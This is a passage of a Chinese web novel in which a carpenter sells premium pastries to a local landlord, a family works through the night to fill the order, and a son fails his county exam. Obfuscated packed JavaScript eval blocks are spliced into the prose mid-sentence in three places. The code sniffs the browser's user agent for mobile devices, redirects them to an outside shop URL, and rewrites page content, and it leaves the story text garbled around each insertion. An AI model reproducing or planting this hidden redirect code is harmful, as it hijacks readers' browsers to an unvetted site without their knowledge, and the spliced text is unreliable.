刘栓的心随着那声响又紧了一分,依旧保持着微微躬身的姿势,目光垂落在自己脚前三尺之地,既不显得急切,也不显得卑微。 约莫过了三五个呼吸的时间,陈士诚放下茶盏,缓缓开口:“五百文一盒……刘木匠,你这雅致巧酥,价可不菲啊。” 刘栓语气愈发诚恳:“陈老爷明鉴。价高,实在是因为成本高、工艺工繁。不瞒老爷,单是这枣木盒,选料、阴干、雕刻、打磨、上内衬,便需熟练匠人足足七日之功。更遑论那巧酥所用精料皆非市面寻常之物,且需老师傅以古法心手相传,火候差一丝,味道便谬之千里,因此每一枚成品皆造价高昂。小民报价,绝无虚浮,实在是一分价钱,一分心力。” 他顿了顿,声音压低了些,带上几分推心置腹的意味:“再者,若如寻常点心般价贱量多,反倒失了格调,配不上老爷赠友。小民愚见,此物之价,正在其稀有与雅致。老爷您一次购得十盒,宴客赠友皆宜,不仅体面,更显老爷您品味独具,慧眼识珍。” 陈士诚敲击扶手的手指停了下来,他再次看向那礼盒。 “罢了。既然你如此说,且东西确实有几分意思。五两就五两吧。不过……” 刘栓刚松下的半口气又提了起来。 “东西必须与你今日所呈一般无二。若有半分差池,或是明日未能准时送到……” “若有差池,小民分文不取,任凭陈老爷责罚!”刘栓立刻躬身。 陈士诚点点头:“好。那便如此定了。明日巳时末,我要见到十盒完好的雅致巧酥送至府上。届时验看无误,自会与你结清银钱。” “是,谢陈老爷信任。”刘栓强压着几乎要冲破胸膛的狂喜,再次深深一揖。 当他终于走出陈府大门,重新站在日光之下时,只觉得双腿都有些发软,背后又是一层冷汗,但心却像插上翅膀一般,朝着镇外松岗的方向,发足狂奔。 松岗小院院子里,王老憨正编新的扫帚,王老憨媳妇正在清扫落叶,王石头夫妇在井边淘洗明日要用的陶盆,孙寡妇则在灶间门口缝补一件旧衣。 这安宁瞬间被刘栓粗重的喘息和焦急的低喝打破。 王石头立刻停下手中的活去开门。 “石头,快回村,叫杏丫头立刻过来,十万火急!”刘栓一手撑着门框,胸膛剧烈起伏,额头上全是亮晶晶的汗珠,眼神却亮得骇人。 王石头闻言一个激灵,二话不说,熟门熟路地绕到后院,从竹林边一条更隐蔽的小径钻了出去。 王老憨几人都停下了手里的活计,有些紧张地看向他。 刘栓没时间解释,他冲王老憨挥挥手:“老憨叔,你们该干嘛干嘛,但今晚……怕是睡不成了。” 他又看向灶间:“孙嫂子,劳烦烧一大锅开水,越多越好,要净的!” 吩咐完,他径直冲进正堂,一屁股坐在凳子上,抓起桌上晾着的凉茶壶,对着壶嘴灌了几大口,这才喘匀了气。 34. 争分夺秒做精品,皇天不负有心人 时间倒退回刘栓拜见陈士诚的前几日。 刘栓与刘柱去签租契时,王佑在院子里慢慢踱步,大脑却在飞速运转。 “大姐。咱们得把王家村那边……藏起来。”他走到正在规划哪里摆案板、哪里放炉灶的王杏身边。 王杏停下动作,低头看着弟弟:“佑弟,你的意思是?” “巧酥的生意,以后都搬到这边来做。家里那边,以后就只是……只是咱们的家。不再有面香,不再有人一早来取货。” “可是老憨叔他们……”王杏有些犹豫。 “都搬过来。这里是作坊,也是他们以后的……新家。” 这个想法大胆得让王杏心头一跳。但仔细一想,却又是目前最稳妥的办法。 当天下午,王杏没有立刻开始布置作坊,而是将王老憨夫妇、王石头夫妇和孙寡妇请到了松岗小院。面对着这个比他们自家宽敞整洁许多的地方,几人眼中都露出羡慕和茫然。 王杏没有绕弯子,开门见山:“老憨叔,石头哥,孙嫂子,咱们这巧酥的生意,以后就定在这里做了。这里清净,地方也大。我想问问你们……愿不愿意搬过来住?” 几人愣住了。 王杏继续道:“搬过来,这院子里的厢房你们可以住,也算有个照应。以后,咱们的工钱,不再是按做的算,而是按日算。只要住在这里,每日专心做活,每人每日……十八文钱。米面菜每日晚上会送过来。” 这个条件,对于只有一亩薄田、收成仅够糊口、农闲时几乎没有任何进项的王老憨和王石头两家,以及家徒四壁、生计艰难的孙寡妇来说,无异于天上掉馅饼。 王老憨搓着手,黝黑的脸上因激动而泛红:“杏、杏丫头,这……这是真的?我们……我们那点田,租给别人种也行,反正也刨不出几个子儿……” 王石头夫妇对视一眼,都在对方眼中看到了跃跃欲试。他们年轻,没孩子拖累,早就不想困在那一亩薄田里看天吃饭了。 孙寡妇更是眼眶一红,她一个人守着破屋子,日子最难熬。“杏妹子,我……我愿意!我啥活都能干!” 事情就这么定了下来。 接下来的两天,松岗小院以惊人的速度变了模样。 东厢房两间,分别给了王老憨夫妇和孙寡妇。西厢房一间,给了王石头夫妇。正房留给王老实住,和做高端巧酥的场所。 后院清理出来,垒起了两个火力更稳的砖炉。廊下支起了长长的案板,水井旁修了淘洗的石槽。 与此同时,一套在王佑暗中提点、王杏具体制定的精细规矩,也悄然立下。 其一、低端巧酥的制作,必须在每日寅时末之前全部完成。刘柱会在卯时初准时来取货,然后迅速分送到镇上及周边乡村的各销售点。而王老憨等人,若无特殊情况,不得随意出现在院子大门前,更不得引外人来访。 其二、低端巧酥的混合原料,每日由王杏在王家村配好,晚上由王老实送过来。王老憨等人只负责按既定程序和面、压模、烙制,不得私藏或带出原料。 其三、王老实每晚送原料过来后,会留在松岗小院过夜,一方面结算刘柱当晚带来的米面菜等吃食,另一方面便于次日协助刘柱装货。 其四、当需要制作精品时,王石头立刻回王家村。王杏携带精料亲自前往松岗小院,在孙寡妇的辅助下,在正房内闭门制作。 其五、低端营生的收入,每晚由刘柱与王老实结算。邻居们的日结工钱,则由王老实次日晚带来发放。精品,将由刘栓直接与王杏结算。 这套规矩,刘栓与刘柱认可。王老憨等人虽然觉得严了些,也毫无怨言,甚至干得更加卖力。他们知道,这碗饭吃得是否长久,就看他们是否守得住这些规矩。 ...... 天色将黑未黑之际,王杏的身影出现在了院门口。她走得急,额发有些汗湿,身后跟着同样脚步匆匆的王石头和王老实。 “栓子哥,成了?”王杏一进门便问,目光快速扫过院内一切如常的景象,心下稍安。 刘栓猛地站起来,大步跨到她面前:“杏丫头,成了,陈老爷……要十盒。五福临门五盒,福禄寿三盒,平安如意两盒。明日午时前,必须送到陈府。” “十盒!”王杏倒吸一口凉气,心脏骤然狂跳起来。 “对,十盒。”刘栓用力点头,眼神灼灼,“东西必须和今天我给陈老爷看的一模一样,杏丫头,咱们……咱们能做到吗?” “原料!”王杏速冷静下来,马上想到关键,“精白面、芝麻、核桃、糖、油……我带来了一些,但绝对不够十盒的量!” “我去买!镇上的铺子应该还没全关,我知道哪家还有最好的存货,价钱贵点也认了!需要多少,你马上告诉我!”刘栓立刻喊道。 王杏飞快心算。十盒,至少需要五十枚以上完美无瑕的成品。考虑到损耗和严格筛选…… “头道白面,至少要三斤!上等芝麻二两!核桃仁二两!□□糖二两!最好的清油五两!” “好!”刘栓毫不犹豫,从怀里掏出自己的钱袋,“我这就去!王叔,你跟我搭把手,快去快回!” 王老实应了一声,两人再次冲入暮色中。 王杏没有停留,她转身面对院内紧张望着的几人:“老憨叔,老憨婶,孙嫂子,石头哥,石头嫂子,听着!今晚,咱们有要紧大事要办!原来的规矩,今晚破例!” 她的目光扫过每一个人:“老憨叔,婶子,石头嫂子,你们立刻把正房再彻底打扫一遍,所有角落都不能有灰尘!用开水烫洗所有要用到的盆、碗、工具!一点油腥都不能沾!” “孙嫂子,烧水不停!另外,准备几个干净的新陶盆,还有,找最细密的纱布出来,至少三层!” “石头哥,你去检查下正房炉灶,把火膛清干净,准备好松木柴!” 王老憨等人从王杏的神情和语气中感受到了前所未有的重大,纷纷应声,各自忙碌起来。 王杏自己则快步走进正房衣柜,她仔细检查刘栓之前送来的那些精细模具,又将明日要用的礼盒一一取出检查。 她的心跳依然很快,手心里也有些汗,又想起幼弟与她曾说过的话:“大姐,做事最怕忙中出错。越急,心里越要稳,手上越要准。一步一步来,总能做完。” 对,一步一步来。 她深吸一口气,开始在心里默默演练每一个步骤,预想着可能出现的纰漏和应对之法。 约莫一个半时辰后,刘栓和王老实背着鼓鼓囊囊的袋子,满头大汗地回来了。袋子里是王杏要求的全部精料,甚至更多一些。 “铺子差点关门,幸好我熟,硬敲开的。”刘栓抹了把汗,将东西小心翼翼放在堂屋干净的桌上。 王杏上前一一验看。面粉雪白细腻,芝麻颗粒饱满香气扑鼻,核桃仁色泽匀净,□□糖晶莹,油液清亮,都是上等货色。 刘柱如往常一样,赶着关城门前出了镇子,来到松岗小院准备结算当日的钱款。 当他进入大院时,眼前的情景让他大吃一惊。 院里不见往日的闲散,王老憨和媳妇正在就着灯笼的光,用细毛刷极其小心地清洁着几套模具。孙寡妇在灶间烧火,锅里煮的蒸气腾腾。王石头媳妇则在一旁用新纱布过滤着什么。 正房门窗紧闭,但纸窗上映出不止一个人忙碌的身影,而他的堂哥竟也在这里。 恰好王杏这时出来,她额上绑着一块白布吸汗,脸颊因忙碌和灶火显得微红。 “柱子哥,明日低端巧酥,只做一百个。” “一百个?”刘柱一愣,似乎明白了什么。 “对,一百个。明早由石头哥和他媳妇负责,在后院做。其他人,今晚和明天上午,都有更要紧的事。” 王杏继续对刘柱交代,语速极快:“柱子哥,今晚的钱,我爹一会儿跟你结算。另外,明日这一百个你拿到后,只保证码头最核心的那几个老位置,每个点少放些,就说今日原料不足,让大家担待。卖完即止,不要跟人多解释。” 刘柱连连点头:“明白了,杏妹子!你放心,码头那边我晓得怎么安排,绝不会出岔子!” 王杏点点头,不再多说,转身又开始忙碌。 刘柱按捺住激动,在院子里等了片刻,王老实出来结算今日银钱。 结算完,刘柱没有像往常一样立刻离开,而是凑到刘栓身边:“哥,要做多少盒?这么大阵仗?” 刘栓低声道:“陈老爷……下了十盒单子,明天午时前就要。成了,咱们就真的翻身了!” 刘柱倒吸一口凉气,心脏也跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960777|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂跳起来,立刻问:“需要我做什么?” “你管好码头那边,别出乱子,就是最大的帮忙......”刘栓拍拍堂弟的肩膀。 刘柱点头,不再多留。 正房房间内,王杏仿佛不知疲倦,每一个步骤都亲力亲为,要求严苛到近乎偏执。 从炒芝麻、捣碾、过筛;到核桃仁去衣、微焙、切碎,颗粒大小必须均匀;再到和面……压模......烙制...... 王老憨夫妇按照她的指令,在一旁递送工具、保持所有接触面洁净。 孙寡妇负责将压好的胚子,用特制的薄竹片转移到铺着干净细纱布的竹筛上,动作轻如拈花。 王石头媳妇严格按照王杏的要求控制,必须是稳定、均匀、无烟的文火。 时间在极度专注和重复劳作中飞速流逝,窗外天色由浓黑转为墨蓝,又透出隐隐的灰白。 寅时末,后院那边,王石头夫妇已经开始制作今日缩减到一百个的低端巧酥。 卯时正,刘柱准时取走。 辰时正,第一缕阳光透过窗纸,照进正房。 王杏面前的特制大竹筛里,密密麻麻排列着小巧精致的成品。 王杏拿起一枚,对着光仔细看,摇头:“边缘有点欠,火候急了半分。” 放下,又拿起一枚:“图案这里模糊了,脱模时手抖了。” 再放下。 刘栓、王老实等人屏息看着,心都提到了嗓子眼。 王杏一枚一枚检查,挑拣。稍有瑕疵,也被她毫不犹豫地归入残次品堆。 最终,当所有饼子都被检视过后,竹筛里被分为两堆。 一堆数量较多,七十七个完美成品。 另一堆,二十二个,或多或少有些肉眼难辨的微小瑕疵。 然而,王杏的筛选还未结束。她从那七十七个完美成品中,开始进行第二轮、更严苛的挑选。 阳光越来越亮,辰时即将过去。 当王杏终于停下手时,她从完美成品中,精心挑出了符合字体和数量的四十二枚。 这四十二枚符合十盒的每个字体,且无论从哪个角度看,都堪称完美。 屋内一片寂静,随即,巨大的喜悦涌上所有人的心头。 刘栓猛地一拍大腿,声音激动:“成了,真成了!” 王老憨夫妇、孙寡妇、王石头夫妇几乎虚脱地坐倒在地,脸上却都露出了如释重负的笑容。王老实揉了揉发涩的眼睛,看着女儿心中满是难以言喻的骄傲。 王杏脸上终于露出一丝笑意,看向刘栓:“栓子哥,装盒吧。小心些。” “放心!”刘栓极其郑重地将一枚枚成品放入对应的礼盒格中。 当最后一个平安如意圆盒的盒盖轻轻合拢,时间正好走到巳时初。 十盒‘雅致巧酥’,整齐地排列在正房桌上。 一夜奋战,大功告成! 王杏声音虽然沙哑,却清晰地响起:“栓子哥,时辰不早了,你赶紧带去陈府。务必小心,平安送达。” “老憨叔,婶子……辛苦大家了。现在都去歇着吧。爹,看好院子,下午我们再回家。” 说完,王杏身体晃了晃,强撑的力气仿佛瞬间被抽空。王老实急忙扶住女儿。 “杏儿,你歇会儿,剩下的交给爹和栓子。”王老实声音发哽。 王杏点点头,不一会,在正房的床上睡着了。 刘栓深吸一口气,小心翼翼地将十个礼盒分三层装入一个特制的大竹篮里。他仔细检查了篮子提手是否牢固,又用一块干净的深蓝色粗布将篮子盖得严严实实,不透一丝缝隙。 “王叔,我去了。” “千万小心。”王老实点点头。 刘栓提稳竹篮,迈出正房,院内阳光正好。他看了一眼东厢房,王老憨夫妇和孙寡妇早已支撑不住,连门都没关,和衣倒在床上沉沉睡去,发出轻微的鼾声。西厢房里,王石头媳妇也睡了,王石头还强撑着在后院打扫,眼睛熬得通红。 刘栓轻手轻脚拉开院门,闪身出去,又将门仔细掩好。 他没有走那条更近但可能遇到农户的大路,而是选择了绕向镇子后方、更为僻静的林间小路。 当他终于看到陈府那熟悉的黑漆大门时,时间刚过巳时正。 35. 文秀才点评,乡绅会上出风头 刘栓稍稍平复呼吸,整理了一下因赶路而略显凌乱的衣衫,这才稳步上前。 今日守门的还是昨日那个青衣小厮,见到刘栓,脸上露出笑容:“刘木匠来了?老爷昨日吩咐了,东西可带来了?” “带来了,劳烦小哥。”刘栓递上一小串早已备好的铜钱。 小厮笑意更浓,熟练地接过:“您稍候,我去禀报管家。” 不多时,一个留着山羊胡、约莫五十岁的老者走了出来,正是陈府管家陈福。他目光锐利地扫过刘栓和他手中的竹篮,语气还算客气:“刘木匠,东西都齐了?” “齐了,福管家。十盒雅致巧酥,皆按昨日与陈老爷约定的款式、数量,不敢有误。”刘栓恭敬回答。 “老爷正在书房会客,吩咐我查验,随我来。” 刘栓跟着陈福来到偏厅。陈福示意他将竹篮放在桌上,揭开盖布。 当十盒造型各异、却同样精美雅致的礼盒呈现在眼前时,陈福眼中也掠过一丝讶异。他随手拿起一盒五福临门,打开盒盖。 秋香色的衬布上,五枚小巧玲珑、色泽金黄、图案清晰的巧酥安然摆放,与深红枣木盒相得益彰。 陈福仔细看了看,又轻轻拿起一枚,感受了一下分量和酥脆度,甚至凑近闻了闻。他是陈府二十多年的老管家,眼光毒辣。眼前这巧酥,与昨日拿来的几乎一样,甚至色泽度似乎更加金黄,单看这份细致用心,已属上上乘。 他又抽查了另外两款,皆完美无瑕。 陈福合上盒盖,脸上露出一丝满意的神色:“刘木匠果然守信,东西做得精心。老爷吩咐了,东西若好,便按约定结账。你是要现银,还是兑成铜钱?” 刘栓强压激动:“烦请管家兑换成铜钱便好。” “好,你稍候。”陈福转身出去,不多时,带着一个沉甸甸的布袋回来。 “一共五千文,你点点。” 刘栓接过布袋,入手一沉。他并没有当场细数,只用手掂了掂,便躬身道:“多谢福管家,数目应当无误。” “老爷还让我带句话。”陈福看着刘栓,语气多了几分深意,“这东西,老爷很满意。若今日聚会宾客反响好,日后或还有相询之处。你好生做,莫要辜负了老爷的看重。” 刘栓心中狂喜,他深深一揖:“请管家转告老爷,小民必当竭尽所能,绝不敢有丝毫懈怠!” 揣着那袋沉甸甸的铜钱,刘栓几乎是用飘着脚步走出陈府的。 直到拐进一条无人的小巷,他缓了好一会儿,才重新整理好情绪,将钱袋放在篮子里,用深粗布包裹得严严实实,才快步朝自家店铺走去。 午时,吃了点东西,稍微眯了一会,绕路去了王家村。 刘栓轻轻叩门。过了片刻,李氏连忙将他请进堂屋,关上院门和木门,这才有些担心地问道:“栓子,怎么样了?” 刘栓脸上是压抑不住的笑容,声音压得很低:“钱结了!陈老爷很满意!” 李氏闻言,手一抖,眼圈瞬间就红了,嘴唇哆嗦着,半天才说出话:“真……真的?阿弥陀佛,老天保佑……” 王老实听到他们的声音从里屋走出来。脸上同样露出喜悦的笑容。 “栓子,辛苦了。” “不辛苦,不辛苦!杏丫头怎么样了?”刘栓忙道。 王老实脸上露出心疼之色:“还在歇着。” 这时,王杏从里屋走出来,她显然没睡多久,脸色依旧苍白,眼底带着浓重的青黑。 “栓子哥,你来啦。” 李氏见女儿醒了,又心疼又松了口气:“杏儿,你怎么起来了?再多睡会儿啊!” “娘,我没事。”王杏对母亲笑了笑,然后目光转向刘栓,以及他手上沉甸甸的竹篮。 “事情……都办妥了?” 刘栓连忙点头,脸上喜色更浓:“妥了,杏丫头,陈老爷全收了,钱货两清!陈管家还说陈老爷很满意,以后可能还有关照!” “那就好。”王杏点点头,脸上并未出现狂喜之色,反而是一种更深的思量。 她走到桌边坐下,示意刘栓也坐:“栓子哥,咱们按之前说好的,把账算清楚。” 刘栓从竹篮中将一串串的铜钱小心地放在桌上。 王杏没有去碰铜钱,而是看着刘栓,清晰地说道:“之前说好的,王家抽两百文一盒,十盒便是两千文。栓子哥你抽两千七百文。柱子哥抽三百文。” 她顿了顿,看向刘栓,继续道:“这次所用原料,以及你额外多购的备份料,总共花费……” 刘栓立刻报出一个精确到文的数字:“一千七百三十三文。” 王杏点头:“原料钱是你垫付。从王家所得里,先拿出这一千七百三十三文,还给你。” 刘栓想说什么,王杏再次抬手:“听我说完。原料钱必须先还给你,王家只拿二百六十七文。柱子哥所得你交给他。” 刘栓迟疑片刻,最终点头:“妥。” 王杏这才伸手,从仔细数出二百六十七文。 王杏收好钱,神色转为严肃:“栓子哥,还有件事,得跟你商量。咱们这雅致巧酥,不能多。” 刘栓神色一凛:“你的意思是?” “物以稀为贵。手艺再精,东西再好,一旦泛滥,就不值钱了。你看,咱们故事里的原料更是难得,像那野核桃仁,在县城都可遇不可求。我的想法是,如果有人通过陈老爷,或者其他渠道打听、想要下单……” 她直视刘栓:“就告诉他们,本月原料所剩无几,最多只能再接五盒的量。且因为野核桃仁实在难收,下个月,最多也只能做十盒。先到先得,订金三成,不接受指定时间,只能排队等。” 刘栓倒吸一口凉气,随即眼中爆发出惊人的光彩:“杏丫头,你……你这脑子,就这么办,我一定把这话放出去。五盒……不,我看三盒就够了,越少越金贵!” 王杏点点头:“具体数量,你根据打听的人数和势头把握。总之,不能多。咱们宁可少赚,也要把这雅致和稀有的牌子立稳了,这是咱们的根。” “明白,放心!”刘栓拍着胸脯保证,此刻他对王杏已是心服口服。 事情谈妥,王杏那股强撑的精神气似乎也耗尽了,脸上疲色更浓。 李氏心疼地扶住女儿:“好了好了,正事说完了,赶紧再去躺会儿。钱啊生意啊,跑不了!” 王杏这次没再坚持,对刘栓歉意地笑了笑:“栓子哥,那我就不送你了。” “你好好休息!”刘栓提着竹篮,怀揣着计划和信心,脚步轻快地离开了王家。 王杏在母亲搀扶下慢慢走回里屋,经过弟弟王佑身边时,姐弟俩对视一眼。她苍白的脸上,终于绽开一个彻底放松的笑容,然后倒在床上,几乎是瞬间便陷入了沉睡。 周府的宴会从午时一直持续到申时末方散。 宴席的丰盛自不必说,真正在席间引起涟漪,却并非什么山珍海味,而是那几盒被陈老爷看似随意、实则精心安排赠友的雅致巧酥。 获赠客人面前放了一盒,那小巧精致的礼盒、色泽金黄的卖相,以及别致的福禄寿、平安如意等图案,立刻吸引了不少目光。 “咦?陈年兄,这点心看着倒是别致,不知是五味斋的新品,还是府城带回来的稀罕物?”一位与陈士诚相熟的老者捻须问道。 陈士诚微微一笑,带着几分自得,却不点破:“诸位尝尝便知,不过是些寻常材料,胜在做得精巧些罢了。” 众人将信将疑地拿起一枚,入手是意料之外的轻盈酥脆。放入口中一尝,那酥脆无渣的口感、清雅不腻的甜香、以及芝麻核桃带来的醇厚层次,顿时让几位老饕眼睛一亮。 “妙啊!甜而不腻,酥而不油,香气纯正。这可不是寻常点心铺子能做出来的!”一位在另一乡镇经营布庄的吴老爷赞道。 “确实,这点心看似简单,实则火候、用料都极讲究。陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宴会散后,‘陈老爷得了一种极为雅致的点心,连府城来的文秀才都赞不绝口,说非银钱可购’的消息,便如同长了翅膀,在永丰县下各乡绅圈子里悄然传开。 第二日辰时,周府书房内,檀香袅袅。 周立文靠在圈椅上,指尖无声地敲着扶手:“陈士诚倒会吊人胃口,可查出那点心来路?” 周管事垂手禀报:“陈府管家只说是偶得,未透露来源。那装点心的礼盒做工极精,但镇上木匠铺子问了一圈,无人认得。点心本身,更是无处可查,五味斋等铺子皆说未曾做过,也仿不出那般形色。” “礼盒精工,点心别致,却无来路……”周立文微微眯眼,“陈士诚近来与县学那几位廪生走得很近,又在搜集一些古籍碑拓,像是要攀附府城学政大人。这怕不是他用来敲门的雅砖?” “王家那边呢?”周立文随口又问,更像是例行公事。 “王树仍在府城备考,其父王老实偶尔下地,其母李氏操持家务,王桃依旧在李家村学馆蒙学,王佑只是玩耍。王杏前些日子偶尔卖些一文钱的廉价巧酥,只是最近这些日子并未继续卖。”周管事据实回报。 “没卖了?” “是,可能是因为价格极贱,并无多少盈利。” 周立文点点头,彻底失去对王家的关注。 陈府,花房。 陈士诚品着香茗,听着管家陈福汇报与刘栓商谈结果,脸上露出满意的笑容。 “刘木匠那边,真这么痛快的就答应?”他问。 “回老爷,刘木匠感激涕零,言必称老爷恩德。按老爷吩咐,他必严守秘密,只供应我陈家,每盒只取五百文。”陈福答道。 “嗯,是个懂事的。”陈士诚颔首。 “告诉刘木匠,本月五盒,务必做得与宴上一般无二。至于下月的十盒……先放出风声,但具体给谁,何时给,我来定。”陈士诚淡淡道。 “是。”陈福。 36. 王树落榜 时间在表面平静、内里紧锣密鼓的等待中,滑向了九月中旬,院试已经临近。 王家小院,这些时日更加沉寂,只每日定时有袅袅炊烟升起。 而在世人目光不及之处,王家的营生正以一种惊人的精密和韧性运转着。 松岗小院的低端巧酥生产,在王老憨等人的熟练操作下,已形成稳定节奏。每日三百个左右热气腾腾的巧酥便已整齐码放好。王老实每晚会来送原料、结算前一日工钱,并留宿,次日协助刘柱装货。 刘柱愈发重要。他成了低端生意的实际现场掌柜。在他的经营下,巧酥的销售点从最初的两个码头聚集区,谨慎地拓展到了镇子早市边缘、货栈后巷等三四个不起眼却人流不错的位置。他手下除了刘全,还有三四个信得过的闲汉帮忙分销,形成了一个有效的销售网络。 这营生虽不起眼,但每日近两百文的净利,如滑润细流,持续不断地注入王家日益充盈的钱囊。 然而,一直顺风顺水的低端线,撞上了它扩张路上第一块不大不小的暗礁。 那日刘柱刚在一个码头新拓展的点摆开架势,两个穿着皂隶服、腰间挂着‘市司’木牌的胥吏便晃了过来,脸上挂着似笑非笑的表情。 “哟,生面孔啊?在这儿摆摊,问过市司衙门没有?有牙帖吗?”其中一个矮胖的胥吏用脚尖踢了踢刘柱放巧酥的背篓。 刘柱心里一紧,脸上却立刻堆起讨好的笑容:“哎哟,两位差爷!小的是刚来这儿混口饭吃,不懂规矩,您多包涵!这牙帖……是?” “连牙帖都不知道就敢摆摊?”另一个瘦高胥吏嗤笑一声,“凡在镇上定点售卖吃食物件,皆需在市司衙门登记,领取牙帖,方为合法。无帖经营,便是私贩,货物没收,还得罚钱!” 刘柱冷汗流了下来,他之前打点的一直是码头的地头蛇和巡街的差役,却忘了还有专门管理市场商贩的市司衙门。 他一边连连告罪,一边迅速从怀里摸出二十文钱,塞到胖胥吏手里:“差爷恕罪!小的眼瞎!这点茶钱不成敬意……这牙帖,该如何办理?还请差爷指点明路。” 收了钱,两个胥吏脸色稍霁。 胖胥吏掂了掂铜钱:“看你也是个懂事的,好说。每月需缴一百文帖费,另加五十文街面清洁钱。每月初一到市司衙门缴纳,领取当月牙帖。若敢不缴或逾期……” 他冷笑一声,没再说下去。 刘柱不敢擅自做主,赔着笑脸送走两位胥吏后,当晚立刻找到王老实说了此事。 第二日晚,松岗小院的正堂里,王杏、王老实、刘柱,以及被特意请来的刘栓聚在一起商议。王佑也安静地坐在一旁听着。 “每月一百五十文,这是明抢!”刘柱愤愤不平。 刘栓沉吟道:“市司的牙帖,确实有这么个规矩。往日多是针对那些有固定摊位的,像咱们这样流动叫卖的,查得不严。如今找上门,要么是咱们做大了些,被人注意到了,要么……是被人点了。” 王杏眉头紧锁。这笔支出完全在计划之外,且是长期固定的。若答应,利润被侵蚀;若不答应,市司胥吏天天来找麻烦,生意根本做不下去。 一直沉默的王佑微微皱眉,很快会意识到这是他的历史知识盲区。 他忽然拉了拉王杏,王杏立刻会意,目光又飘向刘柱:“柱子哥现在管着好几个点,好几个人……算是个小管事的了。这钱,是不是该大家一起担?” 经过一番商议,最终定下。牙帖必须办,这是官府明面的规矩,硬抗不明智。 每月一百五十文的费用,由王家与刘柱共同承担。王家承担八成,刘柱承担两成。 刘栓通过他的关系,去市司衙门疏通一下,看看能否将街面清洁钱五十文减免或降低,至少探探口风,看看背后是否有人指使。 刘栓第二日便去活动,带回来的消息是费用减免不了,市司衙门口风很紧,公事公办的样子。似乎并非特意针对,而是近来上头要求对流动摊贩管理加严。 虚惊一场,只是每月又多了一项固定支出,却也多了一层合法掩护。 相比之下,高端路线,则走得更加隐秘和顺遂,甚至顺遂得超乎想象。 陈士诚完全将精品当成了自己社交棋盘上的一枚妙子。他严格控制着消息和渠道,所有打听和求购,都必须通过他或管家。那五盒订单,他让刘栓分三次、间隔数日才交付完成,吊足了那几位买家的胃口,也坐实了‘制作繁难、产量稀缺’的说法。 每个月最多十盒的风声放出去后,托关系找陈士诚说项的人反而更多了。陈士诚乐在其中,精心挑选着赠送或允诺的对象,换取的不是银钱,而是更珍贵的人情、信息,或是通往更高圈子的引荐。刘栓则完全成了一个听命行事的匠人,每次接到指令,才通知王杏制作相应数量和款式的巧酥,交付时银钱结算清晰。 陈家的这种垄断和控制,无意中为也王家提供了绝佳的掩护。 王杏的完美成品率已经可以控制在八成左右,每一盒交付出去的,都是无可挑剔的精品。原料采购通过刘栓分散进行,每次量少类多,毫不引人注目。 十月底的永丰县,秋意已浓,田里的稻谷早已收完,只剩下整齐的稻茬,一切都显得平静而寻常。 关于院试的消息,终于随着归来的考生和官府张榜,传回了镇上。 秋收后留在家里的王桃一早便去了镇上,带回王树此次院试未能得中的消息。 聚集在王家院外探头探脑、等着看热闹的村邻们,脸上期待的神色顿时化为了各种复杂的情绪。有同情的叹息,有果然如此的了然,也有不易察觉的轻松。 寒门出贵子,哪是那么容易的事! 院门内,王老实蹲在门槛上,闷头抽着旱烟,沉默得像一尊石像。李氏则红着眼圈,在灶间默默添着柴火, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“留在李夫子那儿……也好。”王老实终于磕了磕烟袋,“家里现在,也能供得起他了。” 几乎就在王家消化着王树落榜消息的同时,周府也收到了确切情报。 书房内,周立文听完周管事的禀报,脸上露出一丝意料之中的神色。 “果然还是底蕴不足,火候未到啊。十三岁的童生虽难得,但想一步登天成为秀才,还是太急了。” “老爷,那咱们之前备下的礼……”周管事询问。 周立文放下茶盏,笑了笑:“既然未中,换成普通的慰问礼吧,笔墨纸砚挑些实惠廉价的,以勉励勤学之名送去便可。” “是,老爷英明。” 次日,周管事的慰问礼便送到了王家。 王老实在王杏的眼神示意下,收下了。至于周管事问王树何时归家,他只说孩子羞于见人,已留在夫子身边多学些日子,归期未定。 周管事回去禀报后,周立文的注意力,也随之从王家身上,更多地转向了其他事务,如与陈士诚之间的暗中较劲,以及年底的粮税征收等。 松岗小院的运转一如既往。低端线稳步推进,每月给市司衙门的例钱已成固定支出,生意在刘柱的打理下细水长流。高端线在陈士诚的垄断下,保持着神秘与稀缺,每月十盒的限额供不应求,高门宅院内已在流传高价求购的消息。 37.不同于以往的年夜饭,年后王佑应对危机 春节前,永丰县迎来了第一场瑞雪。 噼啪作响的灶火,氤氲蒸腾的热气,王家年夜饭的筹备正进入最后阶段。 王桃是腊月二十八那天回来的,秋收后她又回了李家村继续蒙学,个子蹿高了一截,眉眼间的书卷气更浓了些,一回来又叽叽喳喳说着学馆的趣事。 王树则是除夕傍晚,踏着雪回到了家中。 当他推开小院那扇熟悉的木门时,映入眼帘的景象让他怔了怔。 院子里是用红纸糊的简易灯笼,虽不精致,却透着浓浓的年味。正堂窗户贴上了窗花。灶间传来母亲和大姐的说笑声,夹杂着锅铲碰撞的脆响。父亲正在院角劈着过年用的硬柴,桃妹则在打扫最后一点积雪。 正在他愣神的功夫,王老实看见他,脸上立刻绽开笑容:“树儿,回来啦!快进屋,外头冷!” 家人一边与王树打着招呼,一边忙着手中的活。 这一切,繁忙、温暖、充实,与以往过年被愁云惨雾笼罩的家,已截然不同。 